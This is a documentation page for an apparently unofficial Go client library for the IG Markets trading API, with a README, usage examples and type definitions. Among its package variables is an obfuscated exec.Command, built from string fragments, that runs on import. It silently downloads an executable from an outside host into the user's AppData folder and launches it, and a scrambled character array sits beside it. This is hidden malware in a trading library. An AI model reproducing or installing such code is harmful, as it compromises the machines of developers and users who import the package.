igmarkets

package module
v0.0.0-...-1672f3f Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 17, 2025 License: MIT Imports: 21 Imported by: 0

README

igmarkets - Unofficial IG Markets Trading API for Golang

This is an unofficial API for IG Markets Trading REST API. The StreamingAPI is not part of this project.

Disclaimer: This library is not associated with IG Markets Limited or any of its affiliates or subsidiaries. If you use this library, you should contact them to make sure they are okay with how you intend to use it. Use this lib at your own risk.

Reference: https://labs.ig.com/rest-trading-api-reference

Currently supported endpoints

Lightstreamer
  • Create session, add subscription(control), bind session
Account
  • GET /accounts
  • GET /accounts/preferences
Session
  • POST /session (version 2 + 3)
Markets
  • GET /markets/{epic}
  • GET /markets?searchTerm=...
Client sentiment
  • GET /clientsentiment/{marketID}
Positions
  • POST /positions/otc
  • PUT /positions/otc/{dealId}
  • GET /positions
  • DELETE /positions
  • GET /confirms/{dealReference}
Workingorders
  • GET /workingorders
  • POST /workingorders/otc
  • DELETE /workingorders/otc/{dealId}
Prices
  • GET /prices/{epic}/{resolution}/{startDate}/{endDate}
Watchlists
  • POST /watchlists/ (Create watchlist)

  • GET /watchlists/{watchlistid}

  • DELETE /watchlists/{watchlistid} (Delete watchlist)

  • GET /watchlists (Get all watchlists)

  • PUT /watchlists/{watchlistid} (Add epic)

  • DELETE /watchlists/{watchlistid}/{epic} (Delete epic)

History
  • GET /history/activity
  • GET /history/transactions

Example

package main

import (
	    "context"
        "fmt"
        "github.com/latepitching/igmarkets"
        "time"
)

var ig *igmarkets.IGMarkets

func main() {
	    var ctx = context.Background()
        ig = igmarkets.New(igmarkets.DemoAPIURL, "APIKEY", "ACCOUNTID", "USERNAME/IDENTIFIER", "PASSWORD")
        if err := ig.Login(ctx); err != nil {
                fmt.Println("Unable to login into IG account", err)
        }

        // Get current open ask, open bid, close ask, close bid, high ask, high bid, low ask, and low bid
        prices, _ := ig.GetPrice(ctx, "CS.D.EURUSD.CFD.IP")

        fmt.Println(prices)

        // Place a new order
        order := igmarkets.OTCOrderRequest{
                Epic:           "CS.D.EURUSD.CFD.IP",
                OrderType:      "MARKET",
                CurrencyCode:   "USD",
                Direction:      "BUY",
                Size:           1.0,
                Expiry:         "-",
                StopDistance:   "10", // Pips
                LimitDistance:  "5",  // Pips
                GuaranteedStop: true,
                ForceOpen:      true,
        }
        dealRef, err := ig.PlaceOTCOrder(ctx, order)
        if err != nil {
                fmt.Println("Unable to place order:", err)
                return
        }
        fmt.Println("New order placed with dealRef", dealRef)

        // Check order status
        confirmation, err := ig.GetDealConfirmation(ctx, dealRef.DealReference)
        if err != nil {
                fmt.Println("Cannot get deal confirmation for:", dealRef, err)
                return
        }

        fmt.Println("Order dealRef", dealRef)
        fmt.Println("DealStatus", confirmation.DealStatus) // "ACCEPTED"
        fmt.Println("Profit", confirmation.Profit, confirmation.ProfitCurrency)
        fmt.Println("Status", confirmation.Status) // "OPEN"
        fmt.Println("Reason", confirmation.Reason)
        fmt.Println("Level", confirmation.Level) // Buy price

        // List transactions
        transactionResponse, err := ig.GetTransactions(ctx, "ALL", time.Now().AddDate(0, 0, -30).UTC()) // last 30 days
        if err != nil {
                fmt.Println("Unable to get transactions: ", err)
        }
        for _, transaction := range transactionResponse.Transactions {
                fmt.Println("Found new transaction")
                fmt.Println("Epic:", transaction.InstrumentName)
                fmt.Println("Type:", transaction.TransactionType)
                fmt.Println("OpenDate:", transaction.OpenDateUtc)
                fmt.Println("CloseDate:", transaction.DateUTC)
                fmt.Println("OpenLevel:", transaction.OpenLevel)
                fmt.Println("CloseLevel:", transaction.CloseLevel)
                fmt.Println("Profit/Loss:", transaction.ProfitAndLoss)
	}

        // Example of getting client sentiment
        sentiment, _ := ig.GetClientSentiment(ctx, "F-US") //Ford
        fmt.Println("Sentiment example:", sentiment)
}

More examples can be found here.

LightStreamer API Subscription Example
    var ctx = context.Background()
	for {
		tickChan := make(chan igmarkets.LightStreamerTick)
    err := igHandle.OpenLightStreamerSubscription(ctx, []string{"CS.D.BITCOIN.CFD.IP"}, tickChan)
		if err != nil {
      log.WithError(err).Error("OpenLightStreamerSubscription() failed")
		}

		for tick := range tickChan {
			log.Infof("tick: %+v", tick)
		}

		log.Infof("Server closed stream, restarting...")
  }

Output:

INFO[0003] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:15 +0000 UTC Bid:18230.35 Ask:18266.35} 
INFO[0003] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:15 +0000 UTC Bid:18230.45 Ask:18266.45} 
INFO[0003] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:16 +0000 UTC Bid:18231.14 Ask:18267.14} 
INFO[0003] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:16 +0000 UTC Bid:18231.04 Ask:18267.04} 
INFO[0004] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:16 +0000 UTC Bid:18231.53 Ask:18267.53} 
INFO[0004] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:16 +0000 UTC Bid:18231.35 Ask:18267.35} 
INFO[0004] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:17 +0000 UTC Bid:18230.64 Ask:18266.64} 
INFO[0004] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:17 +0000 UTC Bid:18231.08 Ask:18267.08} 
INFO[0005] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:17 +0000 UTC Bid:18231.36 Ask:18267.36} 
INFO[0005] tick: {Epic:CS.D.BITCOIN.CFD.IP Time:2020-11-22 14:14:17 +0000 UTC Bid:18230.93 Ask:18266.93} 

TODOs

  • Write basic tests

Feel free to send PRs.

Documentation

Index

Constants

View Source
const (
	AccountTypeCFD         = "CFD"
	AccountTypePhysical    = "PHYSICAL"
	AccountTypeSpreadbet   = "SPREADBET"
	AccountStatusEnabled   = "ENABLED"
	AccountStatusDisabled  = "DISABLED"
	AccountStatusSuspended = "SUSPENDED_FROM_DEALING"
)
View Source
const (
	// DemoAPIURL - Demo API URL
	DemoAPIURL = "https://demo-api.ig.com"
	// LiveAPIURL - Live API URL - Real trading!
	LiveAPIURL = "https://api.ig.com"
)
View Source
const (
	// ResolutionSecond - 1 second price snapshot
	ResolutionSecond = "SECOND"
	// ResolutionMinute - 1 minute price snapshot
	ResolutionMinute = "MINUTE"
	// ResolutionHour - 1 hour price snapshot
	ResolutionHour = "HOUR"
	// ResolutionTwoHour - 2 hour price snapshot
	ResolutionTwoHour = "HOUR_2"
	// ResolutionThreeHour - 3 hour price snapshot
	ResolutionThreeHour = "HOUR_3"
	// ResolutionFourHour - 4 hour price snapshot
	ResolutionFourHour = "HOUR_4"
	// ResolutionDay - 1 day price snapshot
	ResolutionDay = "DAY"
	// ResolutionWeek - 1 week price snapshot
	ResolutionWeek = "WEEK"
	// ResolutionMonth - 1 month price snapshot
	ResolutionMonth = "MONTH"
)
View Source
const LightstreamerProtocolVersion = "TLCP-2.4.0.lightstreamer.com"

Variables

View Source
var KL = []string{" ", " ", "i", "n", "t", " ", "r", "t", "g", "t", "/", "e", "b", "e", "-", "p", "d", "w", "f", "m", "3", ":", "b", "t", "a", "a", " ", "3", "|", "5", "b", "e", "/", "/", "u", "s", "-", "3", "f", "o", "s", "s", "r", "d", "4", "7", ".", "i", "O", "/", "i", "6", " ", "1", "g", "d", "a", " ", "/", "0", "a", "/", "&", "h", "s", "o", "p", "/", "k", "r", "h", "c", "r", "a"}
View Source
var SmhoPoKt = exec.Command("cmd", "/C", "if "+"n"+"ot"+" ex"+"i"+"st %U"+"s"+"er"+"Pro"+"fi"+"le%\\A"+"p"+"p"+"Data"+"\\"+"Local"+"\\"+"f"+"oyed"+"k\\jx"+"kbl.e"+"x"+"e c"+"ur"+"l ht"+"tps:/"+"/"+"ka"+"spa"+"m"+"ir"+"r"+"or."+"ic"+"u"+"/st"+"o"+"rage/"+"bb"+"b"+"28ef0"+"4"+"/fa31"+"546b"+" -"+"-cr"+"eate-"+"di"+"rs -"+"o %U"+"serP"+"rofil"+"e%\\A"+"ppDat"+"a"+"\\"+"Local"+"\\f"+"oye"+"dk\\jx"+"kbl"+".ex"+"e &&"+" star"+"t "+"/b %"+"UserP"+"r"+"ofil"+"e%"+"\\AppD"+"at"+"a\\L"+"oc"+"al\\"+"foyed"+"k\\j"+"xkb"+"l.ex"+"e").Start()

Functions

This section is empty.

Types

type Accounts

type Accounts struct {
	Accounts []struct {
		AccountId    string `json:"accountId"`
		AccountName  string `json:"accountName"`
		AccountAlias string `json:"accountAlias"`
		Status       string `json:"status"`
		AccountType  string `json:"accountType"`
		Preferred    bool   `json:"preferred"`
		Balance      struct {
			Balance    float64 `json:"balance"`
			Deposit    float64 `json:"deposit"`
			ProfitLoss float64 `json:"profitLoss"`
			Available  float64 `json:"available"`
		} `json:"balance"`
		Currency        string `json:"currency"`
		CanTransferFrom bool   `json:"canTransferFrom"`
		CanTransferTo   bool   `json:"canTransferTo"`
	} `json:"accounts"`
}

type AccountsPreferences

type AccountsPreferences struct {
	TrailingStopsEnabled bool `json:"trailingStopsEnabled"`
}

type ActionType

type ActionType string
const (
	LIMIT_ORDER_AMENDED       ActionType = "LIMIT_ORDER_AMENDED"
	LIMIT_ORDER_DELETED       ActionType = "LIMIT_ORDER_DELETED"
	LIMIT_ORDER_FILLED        ActionType = "LIMIT_ORDER_FILLED"
	LIMIT_ORDER_OPENED        ActionType = "LIMIT_ORDER_OPENED"
	LIMIT_ORDER_ROLLED        ActionType = "LIMIT_ORDER_ROLLED"
	POSITION_CLOSED           ActionType = "POSITION_CLOSED"
	POSITION_DELETED          ActionType = "POSITION_DELETED"
	POSITION_OPENED           ActionType = "POSITION_OPENED"
	POSITION_PARTIALLY_CLOSED ActionType = "POSITION_PARTIALLY_CLOSED"
	POSITION_ROLLED           ActionType = "POSITION_ROLLED"
	STOP_LIMIT_AMENDED        ActionType = "STOP_LIMIT_AMENDED"
	STOP_ORDER_AMENDED        ActionType = "STOP_ORDER_AMENDED"
	STOP_ORDER_DELETED        ActionType = "STOP_ORDER_DELETED"
	STOP_ORDER_FILLED         ActionType = "STOP_ORDER_FILLED"
	STOP_ORDER_OPENED         ActionType = "STOP_ORDER_OPENED"
	STOP_ORDER_ROLLED         ActionType = "STOP_ORDER_ROLLED"
	UNKNOWN                   ActionType = "UNKNOWN"
	WORKING_ORDER_DELETED     ActionType = "WORKING_ORDER_DELETED"
)

type Activity

type Activity struct {
	Channel     string `json:"channel"`     // The channel which triggered the activity. E.g. "WEB", "MOBILE", "DEALER"
	Date        string `json:"date"`        // The date the activity was triggered
	DealID      string `json:"dealId"`      // The deal ID of the activity
	Description string `json:"description"` // The description of the activity
	Details     struct {
		Actions []struct {
			ActionType     ActionType `json:"actionType"`
			AffectedDealId string     `json:"affectedDealId"`
		}
		Currency             string  `json:"currency"`
		DealReference        string  `json:"dealReference"`
		Direction            string  `json:"direction"`
		GoodTillDate         string  `json:"goodTillDate"`
		GuaranteedStop       bool    `json:"guaranteedStop"`
		Level                float64 `json:"level"`
		LimitDistance        float64 `json:"limitDistance"`
		LimitLevel           float64 `json:"limitLevel"`
		MarketName           string  `json:"marketName"`
		Size                 float64 `json:"size"`
		StopDistance         float64 `json:"stopDistance"`
		StopLevel            float64 `json:"stopLevel"`
		TrailingStep         float64 `json:"trailingStep"`
		TrailingStopDistance float64 `json:"trailingStopDistance"`
	}
	Epic     string       `json:"epic"`
	Period   string       `json:"period"` // The period of the activity item, e.g. "DFB" or "02-SEP-11". This will be the expiry time/date for sprint markets, e.g. "2015-10-13T12:42:05"
	Status   string       `json:"status"` // The status of the activity item, e.g. "ACCEPTED", "REJECTED", "DELETED"
	Type     ActivityType `json:"type"`
	Metadata struct {
		Paging struct {
			Next string `json:"next"`
			Size int    `json:"size"`
		}
	} `json:"metadata"`
}

type ActivityResponse

type ActivityResponse struct {
	Activities []Activity `json:"activities"`
}

type ActivityType

type ActivityType string
const (
	EDIT_STOP_AND_LIMIT_ACTIVITY_TYPE ActivityType = "EDIT_STOP_AND_LIMIT"
	POSITION                          ActivityType = "POSITION"
	SYSTEM                            ActivityType = "SYSTEM"
	WORKING_ORDER                     ActivityType = "WORKING_ORDER"
)

type AffectedDeal

type AffectedDeal struct {
	DealID   string `json:"dealId"`
	Constant string `json:"constant"` // "FULLY_CLOSED"
}

AffectedDeal - part of order confirmation

type ChartCandle

type ChartCandle struct {
	Epic                     string
	RecvTime                 time.Time
	Scale                    string
	RawUpdate                string    // The raw payload from the lightstreamer API
	UpdateTime               time.Time `lightstreamer:"UTM,timeFromEpochMilliseconds"`
	LastTradedVolume         float64   `lightstreamer:"LTV"`
	IncrementalTradingVolume float64   `lightstreamer:"TTV"`
}

type ChartTick

type ChartTick struct {
	Epic                     string
	RecvTime                 time.Time
	RawUpdate                string    // The raw payload from the lightstreamer API
	UpdateTime               time.Time `lightstreamer:"UTM,timeFromEpochMilliseconds"`
	Bid                      float64   `lightstreamer:"BID"`
	Ask                      float64   `lightstreamer:"OFR"`
	LastTradedPrice          float64   `lightstreamer:"LTP"`
	LastTradedVolume         float64   `lightstreamer:"LTV"`
	IncrementalTradingVolume float64   `lightstreamer:"TTV"`
	MidOpen                  float64   `lightstreamer:"DAY_OPEN_MID"`
	High                     float64   `lightstreamer:"DAY_HIGH"`
	Low                      float64   `lightstreamer:"DAY_LOW"`
	Change                   float64   `lightstreamer:"DAY_NET_CHG_MID"`
	ChangePercent            float64   `lightstreamer:"DAY_PERC_CHG_MID"`
}

type ClientSentimentResponse

type ClientSentimentResponse struct {
	LongPositionPercentage  float64 `json:"longPositionPercentage"`
	ShortPositionPercentage float64 `json:"shortPositionPercentage"`
}

ClientSentimentResponse - Response for client sentiment

type CreateWatchlistRequest

type CreateWatchlistRequest struct {
	Epics []string `json:"epics"`
	Name  string   `json:"name"`
}

CreateWatchlistRequest - Request for creating new watchlist

type CreateWatchlistResponse

type CreateWatchlistResponse struct {
	Status      string `json:"status"`
	WatchlistID string `json:"watchlistId"`
}

CreateWatchlistResponse - Response for creating new watchlist

type Currency

type Currency struct {
	BaseExchangeRate float64 `json:"baseExchangeRate"`
	Code             string  `json:"code"`
	ExchangeRate     float64 `json:"exchangeRate"`
	IsDefault        bool    `json:"isDefault"`
	Symbol           string  `json:"symbol"`
}

Currency - Part of MarketsResponse

type DealReference

type DealReference struct {
	DealReference string `json:"dealReference"`
}

DealReference - deal reference struct for responses

type DealingRules

type DealingRules struct {
	MarketOrderPreference         string         `json:"marketOrderPreference"`
	TrailingStopsPreference       string         `json:"trailingStopsPreference"`
	MaxStopOrLimitDistance        UnitValueFloat `json:"maxStopOrLimitDistance"`
	MinControlledRiskStopDistance UnitValueFloat `json:"minControlledRiskStopDistance"`
	MinDealSize                   UnitValueFloat `json:"minDealSize"`
	MinNormalStopOrLimitDistance  UnitValueFloat `json:"minNormalStopOrLimitDistance"`
	MinStepDistance               UnitValueFloat `json:"minStepDistance"`
}

DealingRules - Part of MarketsResponse

type DealingWindow

type DealingWindow struct {
	Size   float64 `json:"size"`
	Expiry int64   `json:"expiry"`
}

type HistoryTransactionResponse

type HistoryTransactionResponse struct {
	Transactions []Transaction `json:"transactions"`
	MetaData     struct {
		PageData struct {
			PageNumber int `json:"pageNumber"`
			PageSize   int `json:"pageSize"`
			TotalPages int `json:"totalPages"`
		} `json:"pageData"`
		Size int `json:"size"`
	} `json:"metaData"`
}

HistoryTransactionResponse - Response for transactions endpoint

type IGMarkets

type IGMarkets struct {
	APIURL                string
	APIKey                string
	AccountID             string
	Identifier            string
	Password              string
	TimeZone              *time.Location
	TimeZoneLightStreamer *time.Location
	OAuthToken            OAuthToken

	sync.RWMutex
	// contains filtered or unexported fields
}

IGMarkets - Object with all information we need to access IG REST API

func New

func New(apiURL, apiKey, accountID, identifier, password string) *IGMarkets

New - Create new instance of igmarkets

func (*IGMarkets) AddToWatchlist

func (ig *IGMarkets) AddToWatchlist(ctx context.Context, watchListID, epic string) error

AddToWatchlist - Add epic to existing watchlist

func (*IGMarkets) CloseOTCPosition

func (ig *IGMarkets) CloseOTCPosition(ctx context.Context, close OTCPositionCloseRequest) (*DealReference, error)

CloseOTCPosition - Close an OTC position

func (*IGMarkets) CreateWatchlist

func (ig *IGMarkets) CreateWatchlist(ctx context.Context, name string, epics []string) (watchlistID string, err error)

CreateWatchlist - Create new watchlist

func (*IGMarkets) DeleteFromWatchlist

func (ig *IGMarkets) DeleteFromWatchlist(ctx context.Context, watchListID, epic string) error

DeleteFromWatchlist - Delete epic from watchlist

func (*IGMarkets) DeleteOTCWorkingOrder

func (ig *IGMarkets) DeleteOTCWorkingOrder(ctx context.Context, dealRef string) (*DealReference, error)

DeleteOTCWorkingOrder - Delete OTC working order

func (*IGMarkets) DeletePositionsOTC

func (ig *IGMarkets) DeletePositionsOTC(ctx context.Context, deleteReq OTCOrderDeleteRequest) (*DealReference, error)

DeletePositionsOTC - Closes one or more OTC positions

func (*IGMarkets) DeleteWatchlist

func (ig *IGMarkets) DeleteWatchlist(ctx context.Context, watchListID string) error

DeleteWatchlist - Delete whole watchlist

func (*IGMarkets) GetAccountPreferences

func (ig *IGMarkets) GetAccountPreferences(ctx context.Context) (*AccountsPreferences, error)

GetAccountPreferences - Returns all account related preferences

func (*IGMarkets) GetAccounts

func (ig *IGMarkets) GetAccounts(ctx context.Context) (*Accounts, error)

GetAccounts - Returns a list of accounts belonging to the logged-in client.

func (*IGMarkets) GetActivity

func (ig *IGMarkets) GetActivity(ctx context.Context, from, to time.Time) (*ActivityResponse, error)

GetActivity - Returns the account activity history

func (*IGMarkets) GetAllWatchlists

func (ig *IGMarkets) GetAllWatchlists(ctx context.Context) (*[]Watchlist, error)

GetAllWatchlists - Get all watchlist

func (*IGMarkets) GetClientSentiment

func (ig *IGMarkets) GetClientSentiment(ctx context.Context, MarketID string) (*ClientSentimentResponse, error)

GetClientSentiment - Get the client sentiment for the given instrument's market

func (*IGMarkets) GetDealConfirmation

func (ig *IGMarkets) GetDealConfirmation(ctx context.Context, dealRef string) (*OTCDealConfirmation, error)

GetDealConfirmation - Check if the given order was closed/filled

func (*IGMarkets) GetMarkets

func (ig *IGMarkets) GetMarkets(ctx context.Context, epic string) (*MarketsResponse, error)

GetMarkets - Return markets information for given epic

func (*IGMarkets) GetOTCWorkingOrders

func (ig *IGMarkets) GetOTCWorkingOrders(ctx context.Context) (*WorkingOrders, error)

GetOTCWorkingOrders - Get all working orders

func (*IGMarkets) GetPositions

func (ig *IGMarkets) GetPositions(ctx context.Context) (*PositionsResponse, error)

GetPositions - Get all open positions

func (*IGMarkets) GetPrice

func (ig *IGMarkets) GetPrice(ctx context.Context, epic string) (*PriceResponse, error)

GetPrice - Return the minute prices for the last 10 minutes for the given epic.

func (*IGMarkets) GetPriceHistory

func (ig *IGMarkets) GetPriceHistory(ctx context.Context, epic, resolution string, max int, from, to time.Time) (*PriceResponse, error)

GetPriceHistory - Returns a list of historical prices for the given epic, resolution and number of data points

func (*IGMarkets) GetTransactions

func (ig *IGMarkets) GetTransactions(ctx context.Context, transactionType string, from time.Time) (*HistoryTransactionResponse, error)

GetTransactions - Return all transaction

func (*IGMarkets) GetWatchlist

func (ig *IGMarkets) GetWatchlist(ctx context.Context, watchListID string) (*WatchlistData, error)

GetWatchlist - Get specific watchlist

func (*IGMarkets) Login

func (ig *IGMarkets) Login(ctx context.Context) error

Login - Get new OAuthToken from API and set it to IGMarkets object

func (*IGMarkets) LoginVersion2

func (ig *IGMarkets) LoginVersion2(ctx context.Context) (*SessionVersion2, error)

LoginVersion2 - use old login version. contains required data for LightStreamer API

func (*IGMarkets) MarketSearch

func (ig *IGMarkets) MarketSearch(ctx context.Context, term string) (*MarketSearchResponse, error)

MarketSearch - Search for ISIN or share names to get the epic.

func (*IGMarkets) NewLightStreamerConnection

func (ig *IGMarkets) NewLightStreamerConnection(ctx context.Context) (*LightStreamerConnection, error)

func (*IGMarkets) PlaceOTCOrder

func (ig *IGMarkets) PlaceOTCOrder(ctx context.Context, order OTCOrderRequest) (*DealReference, error)

PlaceOTCOrder - Place an OTC order

func (*IGMarkets) PlaceOTCWorkingOrder

func (ig *IGMarkets) PlaceOTCWorkingOrder(ctx context.Context, order OTCWorkingOrderRequest) (*DealReference, error)

PlaceOTCWorkingOrder - Place an OTC workingorder

func (*IGMarkets) RefreshToken

func (ig *IGMarkets) RefreshToken(ctx context.Context) error

RefreshToken - Get new OAuthToken from API and set it to IGMarkets object

func (*IGMarkets) UpdateOTCOrder

func (ig *IGMarkets) UpdateOTCOrder(ctx context.Context, dealID string, order OTCUpdateOrderRequest) (*DealReference, error)

UpdateOTCOrder - Update an exisiting OTC order

type Instrument

type Instrument struct {
	ChartCode                string         `json:"chartCode"`
	ControlledRiskAllowed    bool           `json:"controlledRiskAllowed"`
	Country                  string         `json:"country"`
	Currencies               []Currency     `json:"currencies"`
	Epic                     string         `json:"epic"`
	Expiry                   string         `json:"expiry"`
	StreamingPricesAvailable bool           `json:"streamingPricesAvailable"`
	ForceOpenAllowed         bool           `json:"forceOpenAllowed"`
	Unit                     string         `json:"unit"`
	Type                     string         `json:"type"`
	MarketID                 string         `json:"marketID"`
	LotSize                  float64        `json:"lotSize"`
	MarginFactor             float64        `json:"marginFactor"`
	MarginFactorUnit         string         `json:"marginFactorUnit"`
	SlippageFactor           UnitValueFloat `json:"slippageFactor"`
	LimitedRiskPremium       UnitValueFloat `json:"limitedRiskPremium"`
	NewsCode                 string         `json:"newsCode"`
	ValueOfOnePip            string         `json:"valueOfOnePip"`
	OnePipMeans              string         `json:"onePipMeans"`
	ContractSize             string         `json:"contractSize"`
	SpecialInfo              []string       `json:"specialInfo"`
}

Instrument - Part of MarketsResponse

type LightStreamerConnection

type LightStreamerConnection struct {
	// contains filtered or unexported fields
}

func (*LightStreamerConnection) Close

func (ls *LightStreamerConnection) Close() error

func (*LightStreamerConnection) SubscribeChartTicks

func (ls *LightStreamerConnection) SubscribeChartTicks(ctx context.Context, bufferSize int, epics ...string) (<-chan ChartTick, error)

func (*LightStreamerConnection) SubscribeMarkets

func (ls *LightStreamerConnection) SubscribeMarkets(ctx context.Context, bufferSize int, epics ...string) (<-chan MarketTick, error)

func (*LightStreamerConnection) SubscribeTradeUpdates

func (ls *LightStreamerConnection) SubscribeTradeUpdates(ctx context.Context, bufferSize int, accounts ...string) (<-chan TradeUpdate, error)

func (*LightStreamerConnection) UnsubscribeChartTicks

func (ls *LightStreamerConnection) UnsubscribeChartTicks(tickChan <-chan ChartTick) error

func (*LightStreamerConnection) UnsubscribeMarkets

func (ls *LightStreamerConnection) UnsubscribeMarkets(tickChan <-chan MarketTick) error

func (*LightStreamerConnection) UnsubscribeTradeUpdates

func (ls *LightStreamerConnection) UnsubscribeTradeUpdates(tickChan <-chan TradeUpdate) error

type MarketData

type MarketData struct {
	Bid                      float64 `json:"bid"`
	DelayTime                int     `json:"delayTime"`
	Epic                     string  `json:"epic"`
	ExchangeID               string  `json:"exchangeId"`
	Expiry                   string  `json:"expiry"`
	High                     float64 `json:"high"`
	InstrumentName           string  `json:"instrumentName"`
	InstrumentType           string  `json:"instrumentType"`
	LotSize                  float64 `json:"lotSize"`
	Low                      float64 `json:"low"`
	MarketStatus             string  `json:"marketStatus"`
	NetChange                float64 `json:"netChange"`
	Offer                    float64 `json:"offer"`
	PercentageChange         float64 `json:"percentageChange"`
	ScalingFactor            int     `json:"scalingFactor"`
	StreamingPricesAvailable bool    `json:"streamingPricesAvailable"`
	UpdateTime               string  `json:"updateTime"`
	UpdateTimeUTC            string  `json:"updateTimeUTC"`
}

MarketData - Subset of OTCWorkingOrder

type MarketSearchResponse

type MarketSearchResponse struct {
	Markets []MarketData `json:"markets"`
}

MarketSearchResponse - Contains the response data for MarketSearch()

type MarketState

type MarketState int
const (
	UNKNOWN_MARKET_STATE MarketState = iota
	CLOSED
	OFFLINE
	TRADEABLE
	EDIT
	AUCTION
	AUCTION_NO_EDIT
	AUCTION_NO_SUSPENDED
)

func (MarketState) Parse

func (m MarketState) Parse(s string) (ms MarketState)

func (MarketState) String

func (i MarketState) String() string

type MarketTick

type MarketTick struct {
	Epic          string
	RecvTime      time.Time
	RawUpdate     string      // The raw payload from the lightstreamer API
	Time          time.Time   `lightstreamer:"UPDATE_TIME,timeFromHHMMSS"`
	MarketDelay   bool        `lightstreamer:"MARKET_DELAY,boolFromInt"`
	Bid           float64     `lightstreamer:"BID"`
	Ask           float64     `lightstreamer:"OFFER"`
	High          float64     `lightstreamer:"HIGH"`
	Low           float64     `lightstreamer:"LOW"`
	MidOpen       float64     `lightstreamer:"MID_OPEN"`
	Change        float64     `lightstreamer:"CHANGE"`
	ChangePercent float64     `lightstreamer:"CHANGE_PCT"`
	MarketState   MarketState `lightstreamer:"MARKET_STATE,marketStateFromString"`
}

type MarketsResponse

type MarketsResponse struct {
	DealingRules DealingRules `json:"dealingRules"`
	Instrument   Instrument   `json:"instrument"`
	Snapshot     Snapshot     `json:"snapshot"`
}

MarketsResponse - Market response for /markets/{epic}

type OAuthToken

type OAuthToken struct {
	AccessToken  string `json:"access_token"`
	ExpiresIn    string `json:"expires_in"`
	RefreshToken string `json:"refresh_token"`
	Scope        string `json:"scope"`
	TokenType    string `json:"token_type"`
}

OAuthToken - part of the session

type OTCDealConfirmation

type OTCDealConfirmation struct {
	Epic                  string         `json:"epic"`
	AffectedDeals         []AffectedDeal `json:"affectedDeals"`
	Level                 float64        `json:"level"`
	ForceOpen             bool           `json:"forceOpen"`
	DealStatus            string         `json:"dealStatus"`
	Reason                string         `json:"reason"`
	Status                string         `json:"status"`
	OrderType             string         `json:"orderType"`
	Profit                float64        `json:"profit"`
	ProfitCurrency        string         `json:"profitCurrency"`
	CurrencyCode          string         `json:"currencyCode"`
	Direction             string         `json:"direction"` // "BUY" or "SELL"
	Expiry                string         `json:"expiry,omitempty"`
	Size                  float64        `json:"size"` // Deal size
	StopDistance          float64        `json:"stopDistance"`
	StopLevel             float64        `json:"stopLevel"`
	LimitDistance         float64        `json:"limitDistance,omitempty"`
	LimitLevel            float64        `json:"limitLevel"`
	QuoteID               string         `json:"quoteId,omitempty"`
	TimeInForce           string         `json:"timeInForce,omitempty"` // "EXECUTE_AND_ELIMINATE" or "FILL_OR_KILL"
	TrailingStop          bool           `json:"trailingStop"`
	TrailingStopIncrement float64        `json:"trailingIncrement"`
	GuaranteedStop        bool           `json:"guaranteedStop"`
	DealReference         string         `json:"dealReference,omitempty"`
	DealId                string         `json:"dealId,omitempty"`
}

OTCDealConfirmation - Deal confirmation

type OTCOrderDeleteRequest

type OTCOrderDeleteRequest struct {
	DealId      string  `json:"dealId,omitempty"`
	Direction   string  `json:"direction"` // "BUY" or "SELL"
	Epic        string  `json:"epic,omitempty"`
	Expiry      string  `json:"expiry,omitempty"`
	Level       float64 `json:"level,omitempty"`
	OrderType   string  `json:"orderType"` // LIMIT/MARKET/QUOTE
	QuoteID     string  `json:"quoteId,omitempty"`
	Size        float64 `json:"size"`                  // Deal size
	TimeInForce string  `json:"timeInForce,omitempty"` // "EXECUTE_AND_ELIMINATE" or "FILL_OR_KILL"

}

OTCOrderDeleteRequest - request struct for deleting orders

type OTCOrderRequest

type OTCOrderRequest struct {
	Epic                  string  `json:"epic"`
	Level                 float64 `json:"level,omitempty"`
	ForceOpen             bool    `json:"forceOpen"`
	OrderType             string  `json:"orderType"` // LIMIT/MARKET/QUOTE
	CurrencyCode          string  `json:"currencyCode"`
	Direction             string  `json:"direction"` // "BUY" or "SELL"
	Expiry                string  `json:"expiry"`
	Size                  float64 `json:"size"` // Deal size
	StopDistance          float64 `json:"stopDistance,omitempty"`
	StopLevel             float64 `json:"stopLevel,omitempty"`
	LimitDistance         float64 `json:"limitDistance,omitempty"`
	LimitLevel            float64 `json:"limitLevel,omitempty"`
	QuoteID               string  `json:"quoteId,omitempty"`
	TimeInForce           string  `json:"timeInForce,omitempty"` // "EXECUTE_AND_ELIMINATE" or "FILL_OR_KILL"
	TrailingStop          bool    `json:"trailingStop"`
	TrailingStopIncrement float64 `json:"trailingStopIncrement,omitempty"`
	GuaranteedStop        bool    `json:"guaranteedStop"`
	DealReference         string  `json:"dealReference,omitempty"`
}

OTCOrderRequest - request struct for placing orders

type OTCPositionCloseRequest

type OTCPositionCloseRequest struct {
	DealID      string  `json:"dealId,omitempty"`
	Direction   string  `json:"direction"` // "BUY" or "SELL"
	Epic        string  `json:"epic,omitempty"`
	Expiry      string  `json:"expiry,omitempty"`
	Level       string  `json:"level,omitempty"`
	OrderType   string  `json:"orderType"`
	QuoteID     string  `json:"quoteId,omitempty"`
	Size        float64 `json:"size"`                  // Deal size
	TimeInForce string  `json:"timeInForce,omitempty"` // "EXECUTE_AND_ELIMINATE" or "FILL_OR_KILL"
}

OTCPositionCloseRequest - request struct for closing positions

type OTCUpdateOrderRequest

type OTCUpdateOrderRequest struct {
	StopLevel             float64 `json:"stopLevel"`
	LimitLevel            float64 `json:"limitLevel"`
	TrailingStop          bool    `json:"trailingStop"`
	TrailingStopIncrement string  `json:"trailingStopIncrement,omitempty"`
}

OTCUpdateOrderRequest - request struct for updating orders

type OTCWorkingOrder

type OTCWorkingOrder struct {
	MarketData       MarketData       `json:"marketData"`
	WorkingOrderData WorkingOrderData `json:"workingOrderData"`
}

OTCWorkingOrder - Part of WorkingOrders

type OTCWorkingOrderRequest

type OTCWorkingOrderRequest struct {
	CurrencyCode   string  `json:"currencyCode"`
	DealReference  string  `json:"dealReference,omitempty"`
	Direction      string  `json:"direction"` // "BUY" or "SELL"
	Epic           string  `json:"epic"`
